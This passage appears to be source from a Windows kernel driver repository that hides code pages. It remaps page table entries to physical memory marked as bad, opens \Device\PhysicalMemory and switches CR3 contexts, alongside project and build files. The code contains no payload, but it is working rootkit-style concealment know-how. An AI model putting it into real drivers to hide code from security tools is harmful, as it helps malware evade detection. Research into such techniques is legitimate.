count\n\tKeAcquireSpinLock(&pHiddenPageRecord->SpinLock, &EntryIrql);\n\n\t//check count\n\tMyPrint(_TitleAndFunc\"pHiddenPageRecord->Count:%16IX\\n\", pHiddenPageRecord->Count);\n\tif (pHiddenPageRecord->Count == MAX_HIDDEN_PAGE_COUNT)\n\t\tgoto Lable_Error;\n\n\t//add pPTE record\n\tPSPECIFIC_HIDDEN_PAGE_RECORD\tpCurrentRecord = &pHiddenPageRecord->Record[pHiddenPageRecord->Count];\n\n\tpCurrentRecord->pPTE = pGetSpecificAddresspPTEPhysical(CR3, pHiddenPageBase);\n\tMyPrint(_TitleAndFunc\"pCurrentRecord->pPTE:%16IX\\n\", pCurrentRecord->pPTE);\n\tif (pCurrentRecord->pPTE == NULL)\n\t\tgoto Lable_Error;\n\t\n\t//add hidden virtual address record\n\tpCurrentRecord->pHiddenBase = pHiddenPageBase;\n\tMyPrint(_TitleAndFunc\"pCurrentRecord->pHiddenBase:%16IX\\n\", pCurrentRecord->pHiddenBase);\n\n\t//add original pfn record\n\tContextVirtualToPhysical(&g_PhysicalOpCR3);\n\tpCurrentRecord->OriginalPfn = pCurrentRecord->pPTE->PageFrameNumber;\n\tContextPhysicalToVirtual(&g_PhysicalOpCR3);\n\n\tMyPrint(_TitleAndFunc\"pCurrentRecord->OriginalPfn:%16IX\\n\", pCurrentRecord->OriginalPfn);\n\n\t//add hidden pfn record \n\t//allocate memory\n\t//record the physical address\n\t//then free the memory and mark it as bad\n\tPVOID\tTemporaryVirtual = MmAllocateNonCachedMemory(PAGE_SIZE);\n\tif (TemporaryVirtual == NULL)\n\t\tgoto Lable_Error;\n\n\tPHYSICAL_ADDRESS\tTemporaryPhysical = MmGetPhysicalAddress(TemporaryVirtual);\n\tLARGE_INTEGER\t\tPhysicalLength = { 0 };\n\tPhysicalLength.QuadPart = PAGE_SIZE;\n\n\tpCurrentRecord->HiddenPfn = pPhysicalAddresstoPTEPFN((PVOID)(TemporaryPhysical.QuadPart));\n\tMyPrint(_TitleAndFunc\"pCurrentRecord->HiddenPfn:%16IX\\n\", pCurrentRecord->HiddenPfn);\n\n\tMmFreeNonCachedMemory(TemporaryVirtual, PAGE_SIZE);\n\t\n\tStatus = MmMarkPhysicalMemoryAsBad(&TemporaryPhysical, &PhysicalLength);\n\n\t//copy codes to the new non-mapped physical address\n\tContextVirtualToPhysical(&g_PhysicalOpCR3);\n\tRtlCopyMemory((PVOID)(TemporaryPhysical.QuadPart),\n\t\tpCurrentRecord->pHiddenBase,\n\t\tPAGE_SIZE\n\t);\n\tContextPhysicalToVirtual(&g_PhysicalOpCR3);\n\n\t//check the mark state\n\tif (!NT_SUCCESS(Status))\n\t\tgoto Lable_Error;\n\n\t//the last step:count +1\n\tpHiddenPageRecord->Count++;\n\n\t//release spin lock\n\tKeReleaseSpinLock(&pHiddenPageRecord->SpinLock, EntryIrql);\n\treturn STATUS_SUCCESS;\n\nLable_Error:\n\tKeReleaseSpinLock(&pHiddenPageRecord->SpinLock, EntryIrql);\n\treturn STATUS_UNSUCCESSFUL;\n}\n\n/*********************************************************\nfunction:\t\tRemoveAndRestoreAllHiddenPageRecord\ndescription:\tremove and restore all the records of the structure\n\t\t\t\tinclude mark hidden physical memory as good,\n\t\t\t\tchange mapping relations,\n\t\t\t\tand invalid the specific TLB\n\ncalls:\t\t\tKeAcquireSpinLock\n\t\t\t\tpPTEPFNtoPhysicalAddress\n\t\t\t\tMmMarkPhysicalMemoryAsGood\n\t\t\t\tContextVirtualToPhysical\n\t\t\t\tContextPhysicalToVirtual\n\t\t\t\t__invlpg\n\t\t\t\tKeReleaseSpinLock\n**********************************************************/\nNTSTATUS RemoveAndRestoreAllHiddenPageRecord(PHIDDEN_PAGE_RECORD pHiddenPageRecord)\n{\n\tKIRQL\t\tEntryIrql;\n\tNTSTATUS\tStatus = STATUS_UNSUCCESSFUL;\n\t//prevent mulit-thread change the page record count\n\tKeAcquireSpinLock(&pHiddenPageRecord->SpinLock, &EntryIrql);\n\n\t//assert we have elements\n\tif (pHiddenPageRecord->Count == 0)\n\t\tgoto Lable_Error;\n\n\t//restore all records and mark all the hidden physical memory as good\n\tPSPECIFIC_HIDDEN_PAGE_RECORD\tpCurrentRecord = NULL;\n\tPHYSICAL_ADDRESS\t\t\t\tCurrentHiddenPhysical = { 0 };\n\tLARGE_INTEGER\t\t\t\t\tPhysicalLength = { 0 };\n\n\tPhysicalLength.QuadPart = PAGE_SIZE;\n\n\tfor (int i = 0; i < pHiddenPageRecord->Count; i++)\n\t{\n\t\tpCurrentRecord = &pHiddenPageRecord->Record[i];\n\t\tCurrentHiddenPhysical.QuadPart = (ULONG64)pPTEPFNtoPhysicalAddress(pCurrentRecord->HiddenPfn);\n\n\t\t//mark it as good\n\t\tMmMarkPhysicalMemoryAsGood(&CurrentHiddenPhysical, &PhysicalLength);\n\n\t\t//restore all page mapping relations\n\t\tContextVirtualToPhysical(&g_PhysicalOpCR3);\n\t\tpCurrentRecord->pPTE->PageFrameNumber = pCurrentRecord->OriginalPfn;\n\t\tContextPhysicalToVirtual(&g_PhysicalOpCR3);\n\n\t\t//invalid the TLB of current hidden address\n\t\t__invlpg(pCurrentRecord->pHiddenBase);\n\t}\n\n\t//set count to zero\n\tpHiddenPageRecord->Count = 0;\n\n\t//release spin lock\n\tKeReleaseSpinLock(&pHiddenPageRecord->SpinLock, EntryIrql);\n\treturn STATUS_SUCCESS;\n\nLable_Error:\n\tKeReleaseSpinLock(&pHiddenPageRecord->SpinLock, EntryIrql);\n\treturn STATUS_UNSUCCESSFUL;\n}\n\n/*********************************************************\nfunction:\t\tContextOriginalToHidden\ndescription:\tswitch to hidden code,so that we can call our hidden functions\n\ncalls:\t\t\tKeGetCurrentIrql\n\t\t\t\tKeRaiseIrqlToDpcLevel\n\t\t\t\t_disable\n\t\t\t\tKeAcquireSpinLock\n\t\t\t\tContextVirtualToPhysical\n\t\t\t\tContextPhysicalToVirtual\n\t\t\t\t__invlpg\n\t\t\t\tKeReleaseSpinLock\n**********************************************************/\nNTSTATUS ContextOriginalToHidden(PHIDDEN_PAGE_RECORD pHiddenPageRecord)\n{\n\tKIRQL\t\tEntryIrql;\n\tNTSTATUS\tStatus = STATUS_UNSUCCESSFUL;\n\n\t//record original irql\n\tpHiddenPageRecord->OriginalIrql = KeGetCurrentIrql();\n\tMyPrint(_TitleAndFunc\"pHiddenPageRecord->OriginalIrql:%16IX\\n\", pHiddenPageRecord->OriginalIrql);\n\n\t//assert irql >= dispatch level\n\tif (pHiddenPageRecord->OriginalIrql < DISPATCH_LEVEL)\n\t{\n\t\tpHiddenPageRecord->IsIrqlChanged = TRUE;\n\t\tKeRaiseIrqlToDpcLevel();\n\t}\n\n\t//disable task switch interrupt(maskable)\n\t_disable();\n\n\t//prevent mulit-thread change the page record count\n\tKeAcquireSpinLock(&pHiddenPageRecord->SpinLock, &EntryIrql);\n\n\t//assert we have elements\n\tif (pHiddenPageRecord->Count == 0)\n\t\tgoto Lable_Error;\n\n\t//check the initialize state and current hidden state\n\tif (!g_IsHiddenOpInit || pHiddenPageRecord->IsHidden)\n\t\tgoto Lable_Error;\n\n\t//restore all records and mark all the hidden physical memory as good\n\tPSPECIFIC_HIDDEN_PAGE_RECORD\tpCurrentRecord = NULL;\n\n\tfor (int i = 0; i < pHiddenPageRecord->Count; i++)\n\t{\n\t\tpCurrentRecord = &pHiddenPageRecord->Record[i];\n\n\t\t//change all page mapping relations\n\t\tContextVirtualToPhysical(&g_PhysicalOpCR3);\n\t\tpCurrentRecord->pPTE->PageFrameNumber = pCurrentRecord->HiddenPfn;\n\t\tContextPhysicalToVirtual(&g_PhysicalOpCR3);\n\n\t\t//invalid the TLB of current hidden address\n\t\t__invlpg(pCurrentRecord->pHiddenBase);\n\t}\n\n\tKeReleaseSpinLock(&pHiddenPageRecord->SpinLock, EntryIrql);\n\n\t//change the flag IsHidden\n\tpHiddenPageRecord->IsHidden = TRUE;\n\treturn STATUS_SUCCESS;\n\nLable_Error:\n\tKeReleaseSpinLock(&pHiddenPageRecord->SpinLock, EntryIrql);\n\treturn STATUS_UNSUCCESSFUL;\n}\n\n/*********************************************************\nfunction:\t\tContextOriginalToHidden\ndescription:\tswitch to hidden code,so that we can call our hidden functions\n\ncalls:\t\t\tKeAcquireSpinLock\n\t\t\t\tContextVirtualToPhysical\n\t\t\t\tContextPhysicalToVirtual\n\t\t\t\t__invlpg\n\t\t\t\tKeReleaseSpinLock\n\t\t\t\t_enable\n\t\t\t\tKeLowerIrql\n**********************************************************/\nNTSTATUS ContextHiddenToOriginal(PHIDDEN_PAGE_RECORD pHiddenPageRecord)\n{\n\tKIRQL\t\tEntryIrql;\n\tNTSTATUS\tStatus = STATUS_UNSUCCESSFUL;\n\n\t//prevent mulit-thread change the page record count\n\tKeAcquireSpinLock(&pHiddenPageRecord->SpinLock, &EntryIrql);\n\n\t//assert we have elements\n\tif (pHiddenPageRecord->Count == 0)\n\t\tgoto Lable_Error;\n\n\t//check the initialize state and current hidden state\n\tif (!g_IsHiddenOpInit || !pHiddenPageRecord->IsHidden)\n\t\tgoto Lable_Error;\n\n\t//restore all records and mark all the hidden physical memory as good\n\tPSPECIFIC_HIDDEN_PAGE_RECORD\tpCurrentRecord = NULL;\n\n\tfor (int i = 0; i < pHiddenPageRecord->Count; i++)\n\t{\n\t\tpCurrentRecord = &pHiddenPageRecord->Record[i];\n\n\t\t//change all page mapping relations\n\t\tContextVirtualToPhysical(&g_PhysicalOpCR3);\n\t\tpCurrentRecord->pPTE->PageFrameNumber = pCurrentRecord->OriginalPfn;\n\t\tContextPhysicalToVirtual(&g_PhysicalOpCR3);\n\n\t\t//invalid the TLB of current hidden address\n\t\t__invlpg(pCurrentRecord->pHiddenBase);\n\t}\n\n\tKeReleaseSpinLock(&pHiddenPageRecord->SpinLock, EntryIrql);\n\n\t//enable task switch interrupt(maskable)\n\t_enable();\n\n\t//restore irql\n\tMyPrint(_TitleAndFunc\"pHiddenPageRecord->IsIrqlChanged:%16IX\\n\", pHiddenPageRecord->IsIrqlChanged);\n\tif (pHiddenPageRecord->IsIrqlChanged)\n\t{\n\t\tKeLowerIrql(pHiddenPageRecord->OriginalIrql);\n\n\t\t//restore the flag IsIrqlChanged\n\t\tpHiddenPageRecord->IsIrqlChanged = FALSE;\n\t}\n\n\t//change the flag IsHidden\n\tpHiddenPageRecord->IsHidden = FALSE;\n\treturn STATUS_SUCCESS;\n\nLable_Error:\n\tKeReleaseSpinLock(&pHiddenPageRecord->SpinLock, EntryIrql);\n\treturn STATUS_UNSUCCESSFUL;\n}\n\n/*********************************************************\nfunction:\t\tGetPagesCountByLength\ndescription:\tget pages count by length\t\n**********************************************************/\nULONG64 GetPagesCountByLength(ULONG64 Length)\n{\n\tif ((Length & 0xFFF) == 0)\n\t\treturn (Length >> 12);\n\telse\n\t\treturn (Length >> 12) + 1;\n}\n\n/*********************************************************\nfunction:\t\tAddHiddenSection\ndescription:\tadd hidden address by the offered section name\n\t\t\t\tif all the calls of AddHiddenPageRecord are successful,return STATUS_SUCCESS\ncalls:\t\t\tGetSegmentStartAddress\n\t\t\t\tGetSegmentLength\n\t\t\t\tGetPagesCountByLength\n\t\t\t\tAddHiddenPageRecord\n**********************************************************/\nNTSTATUS AddHiddenSection(ULONG64 SystemCR3, PDRIVER_OBJECT pDriverObj, PCHAR pSegName, PHIDDEN_PAGE_RECORD pHiddenPageRecord)\n{\n\t//analyse number of pages of the section \n\tPVOID\t\tpSectionStart = (PVOID)GetSegmentStartAddress(pDriverObj, pSegName);\n\tULONG64\t\tSectionLength = GetSegmentLength(pDriverObj, pSegName);\n\tULONG64\t\tPagesCount = GetPagesCountByLength(SectionLength);\n\tPVOID\t\tpCurrentPage = NULL;\n\tNTSTATUS\tStatus = STATUS_UNSUCCESSFUL;\n\n\tMyPrint(_TitleAndFunc\"pSectionStart:%16IX\\n\", pSectionStart);\n\tMyPrint(_TitleAndFunc\"SectionLength:%16IX\\n\", SectionLength);\n\tMyPrint(_TitleAndFunc\"PagesCount:%16IX\\n\", PagesCount);\n\n\t//call AddHiddenPageRecord to record the hidden info\n\tfor (int i = 0; i < PagesCount; i++)\n\t{\n\t\tpCurrentPage = (PVOID)((ULONG64)pSectionStart + i*PAGE_SIZE);\n\t\tStatus = AddHiddenPageRecord(SystemCR3, pCurrentPage, pHiddenPageRecord);\n\n\t\t//make sure all the records are successful\n\t\tif (!NT_SUCCESS(Status))\n\t\t\treturn Status;\n\t}\n\n\treturn STATUS_SUCCESS;\n}\n\n\n" }, { "path": "KernelHiddenExecute-master/KernelHiddenExcute/HiddenFunctions.h", "content": "#pragma once\n#include \"Head.h\"\n\n#pragma code_seg(SECTION_NAME_HIDDEN)\n\nNTSTATUS HiddenFunctionA(PHIDDEN_PAGE_RECORD pHiddenPageRecord)\n{\n\tNTSTATUS Status = STATUS_UNSUCCESSFUL;\n\n\tStatus = ApiTransfer_SimulateApi(pHiddenPageRecord, 0xFAFAFAFAFAFAFAFA);\n\n\treturn Status;\n}\n\n#pragma code_seg()" }, { "path": "KernelHiddenExecute-master/KernelHiddenExcute/KernelHiddenExcute.inf", "content": ";\n; KernelHiddenExcute.inf\n;\n\n[Version]\nSignature=\"$WINDOWS NT$\"\nClass=System\nClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318}\nProvider=XYLab\nDriverVer=\nCatalogFile=KernelHiddenExcute.inf.cat\n\n[DestinationDirs]\nDefaultDestDir = 12\n\n\n[SourceDisksNames]\n1 = %DiskName%,,,\"\"\n\n[SourceDisksFiles]\n\n\n[Manufacturer]\n%ManufacturerName%=Standard,NT$ARCH$\n\n[Standard.NT$ARCH$]\n\n\n[Strings]\nManufacturerName=\"XYLab\"\nClassName=\"\"\nDiskName=\"KernelHiddenExcute Source Disk\"\n" }, { "path": "KernelHiddenExecute-master/KernelHiddenExcute/KernelHiddenExcute.vcxproj", "content": "\n\n \n \n Debug\n Win32\n \n \n Release\n Win32\n \n \n Debug\n x64\n \n \n Release\n x64\n \n \n Debug\n ARM\n \n \n Release\n ARM\n \n \n Debug\n ARM64\n \n \n Release\n ARM64\n \n \n \n {B6DD98D0-0343-41DD-94FC-542035EE9B88}\n {dd38f7fc-d7bd-488b-9242-7d8754cde80d}\n v4.5\n 12.0\n Debug\n Win32\n KernelHiddenExcute\n \n \n \n Windows10\n true\n WindowsKernelModeDriver10.0\n Driver\n WDM\n \n \n Windows10\n false\n WindowsKernelModeDriver10.0\n Driver\n WDM\n \n \n Windows7\n true\n WindowsKernelModeDriver10.0\n Driver\n WDM\n Desktop\n \n \n Windows7\n false\n WindowsKernelModeDriver10.0\n Driver\n WDM\n Desktop\n \n \n Windows10\n true\n WindowsKernelModeDriver10.0\n Driver\n WDM\n \n \n Windows10\n false\n WindowsKernelModeDriver10.0\n Driver\n WDM\n \n \n Windows10\n true\n WindowsKernelModeDriver10.0\n Driver\n WDM\n \n \n Windows10\n false\n WindowsKernelModeDriver10.0\n Driver\n WDM\n \n \n \n \n \n \n \n \n \n \n DbgengKernelDebugger\n \n \n DbgengKernelDebugger\n \n \n DbgengKernelDebugger\n false\n \n \n DbgengKernelDebugger\n false\n \n \n DbgengKernelDebugger\n \n \n DbgengKernelDebugger\n \n \n DbgengKernelDebugger\n \n \n DbgengKernelDebugger\n \n \n \n Level3\n \n \n \n \n Level3\n \n \n false\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n" }, { "path": "KernelHiddenExecute-master/KernelHiddenExcute/KernelHiddenExcute.vcxproj.filters", "content": "\n\n \n \n {4FC737F1-C7A5-4376-A066-2A32D752A2FF}\n cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx\n \n \n {93995380-89BD-4b04-88EB-625FBE52EBFB}\n h;hpp;hxx;hm;inl;inc;xsd\n \n \n {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}\n rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms\n \n \n {8E41214B-6785-4CFE-B992-037D68949A14}\n inf;inv;inx;mof;mc;\n \n \n \n \n Driver Files\n \n \n \n \n Source Files\n \n \n \n \n Header Files\n \n \n Header Files\n \n \n Header Files\n \n \n Header Files\n \n \n Header Files\n \n \n Header Files\n \n \n Header Files\n \n \n" }, { "path": "KernelHiddenExecute-master/KernelHiddenExcute/MyDebugPrint.h", "content": "#pragma once\n\n#include \"Head.h\"\n\n\n\n#define _DBG_PRINT\n#define PRINT_NAME \"XYLab\"\n\n\n#define _Title \"[\"##PRINT_NAME##\"] \"\n#define _Func \"[\"##__FUNCTION__##\"] \"\n#define _TitleAndFunc \"[\"##PRINT_NAME##\"] \"##\"[\"##__FUNCTION__##\"] \" \n\n#ifdef _DBG_PRINT\n//#define MyPrint(_x_) DbgPrint _x_\n#define MyPrint(...) DbgPrint(__VA_ARGS__)\n#else\n//#define MyPrint(_x_)\n#define MyPrint(...)\n#endif\n" }, { "path": "KernelHiddenExecute-master/KernelHiddenExcute/PhysicalMemoryOperation.h", "content": "#pragma once\n#include \"Head.h\"\n\nBOOL\tg_IsPhysicalOpInit = FALSE;\nHANDLE\tg_SectionHandle = NULL;\n\n#define\tPAGE_TABLE_SIZE\t\t\t0x1000\n#define\tCR3_FLAG_ALL_BITS\t\t\t0xFFF0000000000FFF\n#define\tPAGE_TABLE_PML4T_FLAG\t0x867\t//1000 0110 0111\n#define\tPAGE_TABLE_PDPT_FLAG\t0x9E7\t//1001 1110 0111\n#define VA_SYSTEM_START\t\t\t0xFFFF080000000000 //IA64\n#define MAX_ENTRY_COUNT\t\t\t512\n#define ENTRY_SIZE\t\t\t\tsizeof(ULONG64)\n\ntypedef struct _PHYSICAL_OP_CR3\n{\n\tPVOID\tpAllocVA_PML4T;\n\tPVOID\tpAllocPA_PML4T;\n\n\tPVOID\tpAllocVA_PDPT;\n\tPVOID\tpAllocPA_PDPT;\n\n\tPVOID\tpSystemPML4TMap;\n\n\tULONG64\tCR3Generated;\n\tULONG64 CR3System;\n\n\tULONG64 CR3BeforeSwitch;\n\tBOOL\tIsContextSwitched;\n\tBOOL\tIsIrqlChanged;\n\tKIRQL\tOriginalIrql;//available if the IsIrqlChanged is true\n}PHYSICAL_OP_CR3, *PPHYSICAL_OP_CR3;\n\n\n\ntypedef struct _MMPDPTE\n{\n\tstruct /* bitfield */\n\t{\n\t\t/* 0x0000 */ unsigned __int64 Valid : 1; /* bit position: 0 */\n\t\t/* 0x0000 */ unsigned __int64 Dirty1 : 1; /* bit position: 1 */\n\t\t/* 0x0000 */ unsigned __int64 Owner : 1; /* bit position: 2 */\n\t\t/* 0x0000 */ unsigned __int64 WriteThrough : 1; /* bit position: 3 */\n\t\t/* 0x0000 */ unsigned __int64 CacheDisable : 1; /* bit position: 4 */\n\t\t/* 0x0000 */ unsigned __int64 Accessed : 1; /* bit position: 5 */\n\t\t/* 0x0000 */ unsigned __int64 Dirty : 1; /* bit position: 6 */\n\t\t/* 0x0000 */ unsigned __int64 LargePage : 1; /* bit position: 7 */\n\t\t/* 0x0000 */ unsigned __int64 Global : 1; /* bit position: 8 */\n\t\t/* 0x0000 */ unsigned __int64 CopyOnWrite : 1; /* bit position: 9 */\n\t\t/* 0x0000 */ unsigned __int64 Unused : 1; /* bit position: 10 */\n\t\t/* 0x0000 */ unsigned __int64 Write : 1; /* bit position: 11 */\n\t\t/* 0x0000 */ unsigned __int64 reserved0 : 18; /* bit position: 12 */\n\t\t/* 0x0000 */ unsigned __int64 PageFrameNumber : 18; /* bit position: 30 */\n\t\t/* 0x0000 */ unsigned __int64 reserved1 : 4; /* bit position: 48 */\n\t\t/* 0x0000 */ unsigned __int64 SoftwareWsIndex : 11; /* bit position: 52 */\n\t\t/* 0x0000 */ unsigned __int64 NoExecute : 1; /* bit position: 63 */\n\t}; /* bitfield */\n} MMPDPTE, *PMMPDPTE; /* size: 0x0008 */\n\ntypedef struct _MMPDE\n{\n\tstruct /* bitfield */\n\t{\n\t\t/* 0x0000 */ unsigned __int64 Valid : 1; /* bit position: 0 */\n\t\t/* 0x0000 */ unsigned __int64 Dirty1 : 1; /* bit position: 1 */\n\t\t/* 0x0000 */ unsigned __int64 Owner : 1; /* bit position: 2 */\n\t\t/* 0x0000 */ unsigned __int64 WriteThrough : 1; /* bit position: 3 */\n\t\t/* 0x0000 */ unsigned __int64 CacheDisable : 1; /* bit position: 4 */\n\t\t/* 0x0000 */ unsigned __int64 Accessed : 1; /* bit position: 5 */\n\t\t/* 0x0000 */ unsigned __int64 Dirty : 1; /* bit position: 6 */\n\t\t/* 0x0000 */ unsigned __int64 LargePage : 1; /* bit position: 7 */\n\t\t/* 0x0000 */ unsigned __int64 Global : 1; /* bit position: 8 */\n\t\t/* 0x0000 */ unsigned __int64 CopyOnWrite : 1; /* bit position: 9 */\n\t\t/* 0x0000 */ unsigned __int64 Unused : 1; /* bit position: 10 */\n\t\t/* 0x0000 */ unsigned __int64 Write : 1; /* bit position: 11 */\n\t\t/* 0x0000 */ unsigned __int64 reserved0 : 9; /* bit position: 12 */\n\t\t/* 0x0000 */ unsigned __int64 PageFrameNumber : 27; /* bit position: 21 */\n\t\t/* 0x0000 */ unsigned __int64 reserved1 : 4; /* bit position: 48 */\n\t\t/* 0x0000 */ unsigned __int64 SoftwareWsIndex : 11; /* bit position: 52 */\n\t\t/* 0x0000 */ unsigned __int64 NoExecute : 1; /* bit position: 63 */\n\t}; /* bitfield */\n} MMPDE, *PMMPDE; /* size: 0x0008 */\n\ntypedef struct _MMVA\n{\n\tstruct /* bitfield */\n\t{\n\t\t/* 0x0000 */ unsigned __int64 Offset : 12;\n\t\t/* 0x0000 */ unsigned __int64 PT : 9;\n\t\t/* 0x0000 */ unsigned __int64 PDT : 9;\n\t\t/* 0x0000 */ unsigned __int64 PDPT : 9;\n\t\t/* 0x0000 */ unsigned __int64 PML4T : 9;\n\t\t/* 0x0000 */ unsigned __int64 Partition : 16; //User:0x0000 System:0xFFFF\n\t}; /* bitfield */\n} MMVA, *PMMVA; /* size: 0x0008 */\n\ntypedef struct _MMVA_PDPTE_LARGE\n{\n\tstruct /* bitfield */\n\t{\n\t\t/* 0x0000 */ unsigned __int64 Offset : 30;\n\t\t/* 0x0000 */ unsigned __int64 PDPT : 9;\n\t\t/* 0x0000 */ unsigned __int64 PML4T : 9;\n\t\t/* 0x0000 */ unsigned __int64 Partition : 16; //User:0x0000 System:0xFFFF\n\t}; /* bitfield */\n} MMVA_PDPTE_LARGE, *PMMVA_PDPTE_LARGE; /* size: 0x0008 */\n\ntypedef struct _MMVA_PDE_LARGE\n{\n\tstruct /* bitfield */\n\t{\n\t\t/* 0x0000 */ unsigned __int64 Offset : 21;\n\t\t/* 0x0000 */ unsigned __int64 PDT : 9;\n\t\t/* 0x0000 */ unsigned __int64 PDPT : 9;\n\t\t/* 0x0000 */ unsigned __int64 PML4T : 9;\n\t\t/* 0x0000 */ unsigned __int64 Partition : 16; //User:0x0000 System:0xFFFF\n\t}; /* bitfield */\n} MMVA_PDE_LARGE, *PMMVA_PDE_LARGE; /* size: 0x0008 */\n\n/*********************************************************\nfunction:\t\tOpenPhysicalMemory\n\t\t\t\tpMapPhysicalMemoryPre\n\t\t\t\tMapPhysicalMemory\n\t\t\t\tUnmapPhysicalMemory\ndescription:\tuse map view of section to map physical address to virtual address\n**********************************************************/\nHANDLE OpenPhysicalMemory()\n{\n\tUNICODE_STRING\t\tphysmemString;\n\tOBJECT_ATTRIBUTES\tattributes;\n\tWCHAR\t\t\t\tphysmemName[] = L\"\\\\device\\\\physicalmemory\";\n\tNTSTATUS\t\t\tstatus;\n\tHANDLE\t\t\t\tphysmem;\n\tRtlInitUnicodeString(&physmemString, physmemName);\n\tInitializeObjectAttributes(&attributes, &physmemString, OBJ_CASE_INSENSITIVE, NULL, NULL);\n\tstatus = ZwOpenSection(&physmem, SECTION_ALL_ACCESS, &attributes);\n\tif (!NT_SUCCESS(status))\n\t{\n\t\treturn NULL;\n\t}\n\treturn physmem;\n}\nBOOLEAN pMapPhysicalMemoryPre(HANDLE hMemory, PDWORD64 pDwAddress, PSIZE_T pSize, PDWORD64 pDwVirtualAddress)\n{\n\tNTSTATUS ntStatus;\n\n\tLARGE_INTEGER viewBase;\n\t*pDwVirtualAddress = 0;\n\tviewBase.QuadPart = *pDwAddress;\n\tntStatus = ZwMapViewOfSection(hMemory, (HANDLE)-1, (void**)pDwVirtualAddress, 0L, *pSize, &viewBase, pSize, ViewShare, 0, PAGE_READWRITE | PAGE_NOCACHE);\n\tif (!NT_SUCCESS(ntStatus))\n\t\treturn FALSE;\n\t//*pDwAddress = viewBase.QuadPart;\n\treturn TRUE;\n}\nPVOID MapPhysicalMemory(PVOID PA, SIZE_T Size)\n{\n\tULONGLONG DwAddress = (ULONG64)PA;\n\tULONGLONG DwVirtualAddress = 0;\n\tBOOLEAN status = pMapPhysicalMemoryPre(g_SectionHandle, &DwAddress, &Size, &DwVirtualAddress);\n\treturn (status == TRUE) ? (PVOID)DwVirtualAddress : NULL;\n}\nBOOLEAN UnmapPhysicalMemory(PVOID VA)\n{\n\tif (!ZwUnmapViewOfSection((HANDLE)-1, VA))\n\t\treturn TRUE;\n\telse\n\t\treturn FALSE;\n}\n\n/*********************************************************\nfunction:\t\tGetCR3Flag\ndescription:\tget cr3 flag, only save the flag bits\n**********************************************************/\nULONG64 GetCR3Flag(ULONG64 CR3)\n{\n\treturn (CR3 & CR3_FLAG_ALL_BITS);\n}\n\n/*********************************************************\nfunction:\t\tClearCR3Flag\ndescription:\tclear cr3 flag, only clear the flag bits\n**********************************************************/\nULONG64 ClearCR3Flag(ULONG64 CR3)\n{\n\treturn (CR3 & ~CR3_FLAG_ALL_BITS);\n}\n\n/*********************************************************\nfunction:\t\tpPrintPhysicalOpStructure\ndescription:\tprint the structure elements\n**********************************************************/\nVOID pPrintPhysicalOpStructure(PPHYSICAL_OP_CR3 pPhysicalOpCR3)\n{\n\tMyPrint(_TitleAndFunc\"[PrintStart]\\n\");\n\n\tMyPrint(_TitleAndFunc\"pPhysicalOpCR3->pAllocVA_PML4T:%16IX\\n\", pPhysicalOpCR3->pAllocVA_PML4T);\n\tMyPrint(_TitleAndFunc\"pPhysicalOpCR3->pAllocPA_PML4T:%16IX\\n\", pPhysicalOpCR3->pAllocPA_PML4T);\n\n\tMyPrint(_TitleAndFunc\"pPhysicalOpCR3->pAllocVA_PDPT:%16IX\\n\", pPhysicalOpCR3->pAllocVA_PDPT);\n\tMyPrint(_TitleAndFunc\"pPhysicalOpCR3->pAllocPA_PDPT:%16IX\\n\", pPhysicalOpCR3->pAllocPA_PDPT);\n\n\tMyPrint(_TitleAndFunc\"pPhysicalOpCR3->pSystemPML4TMap:%16IX\\n\", pPhysicalOpCR3->pSystemPML4TMap);\n\n\tMyPrint(_TitleAndFunc\"pPhysicalOpCR3->CR3Generated:%16IX\\n\", pPhysicalOpCR3->CR3Generated);\n\n\tMyPrint(_TitleAndFunc\"[PrintEnd]\\n\");\n}\n\n/*********************************************************\nfunction:\t\tpFreePhysicalOpPageTableMemory\ndescription:\tto free the allocated memory (PML4T and PDPT page table) with null pointer check\n**********************************************************/\nNTSTATUS pFreePhysicalOpPageTableMemory(PPHYSICAL_OP_CR3 pPhysicalOpCR3)\n{\n\tif (pPhysicalOpCR3->pAllocVA_PML4T != NULL)\n\t{\n\t\tMmFreeNonCachedMemory(pPhysicalOpCR3->pAllocVA_PML4T, PAGE_TABLE_SIZE);\n\t\tpPhysicalOpCR3->pAllocVA_PML4T = NULL;\n\t\tpPhysicalOpCR3->pAllocPA_PML4T = NULL;\n\t}\n\n\tif (pPhysicalOpCR3->pAllocVA_PDPT != NULL)\n\t{\n\t\tMmFreeNonCachedMemory(pPhysicalOpCR3->pAllocVA_PDPT, PAGE_TABLE_SIZE);\n\t\tpPhysicalOpCR3->pAllocVA_PDPT = NULL;\n\t\tpPhysicalOpCR3->pAllocPA_PDPT = NULL;\n\t}\n\t\t\n\treturn STATUS_SUCCESS;\n}\n\n\n/*********************************************************\nfunction:\t\tpAllocPhysicalOpPageTableMemory\ndescription:\tto allocate memory (PML4T and PDPT page table)\n\t\t\t\tif the allocate procduce failed,it can free all the allocated pages\ncalls:\t\t\tMmAllocateNonCachedMemory\n\t\t\t\tMmGetPhysicalAddress\n\t\t\t\tpFreePhysicalOpPageTableMemory\n**********************************************************/\nNTSTATUS pAllocPhysicalOpPageTableMemory(PPHYSICAL_OP_CR3 pPhysicalOpCR3)\n{\n\t//PML4T\n\tpPhysicalOpCR3->pAllocVA_PML4T = MmAllocateNonCachedMemory(PAGE_TABLE_SIZE);\n\t//check allocate state\n\tif (pPhysicalOpCR3->pAllocVA_PML4T == NULL)\n\t\tgoto Lable_Error;\n\tpPhysicalOpCR3->pAllocPA_PML4T = (PVOID)MmGetPhysicalAddress(pPhysicalOpCR3->pAllocVA_PML4T).QuadPart;\n\n\n\t//PDPT\n\tpPhysicalOpCR3->pAllocVA_PDPT = MmAllocateNonCachedMemory(PAGE_TABLE_SIZE);\n\t//check allocate state\n\tif (pPhysicalOpCR3->pAllocVA_PDPT == NULL)\n\t\tgoto Lable_Error;\n\tpPhysicalOpCR3->pAllocPA_PDPT = (PVOID)MmGetPhysicalAddress(pPhysicalOpCR3->pAllocVA_PDPT).QuadPart;\n\n\n\treturn STATUS_SUCCESS;\nLable_Error:\n\t//free allocated memory\n\tpFreePhysicalOpPageTableMemory(pPhysicalOpCR3);\n\treturn STATUS_UNSUCCESSFUL;\n}\n\n/*********************************************************\nfunction:\t\tpMapPML4T\ndescription:\tmap the system cr3(pml4t) to virtual 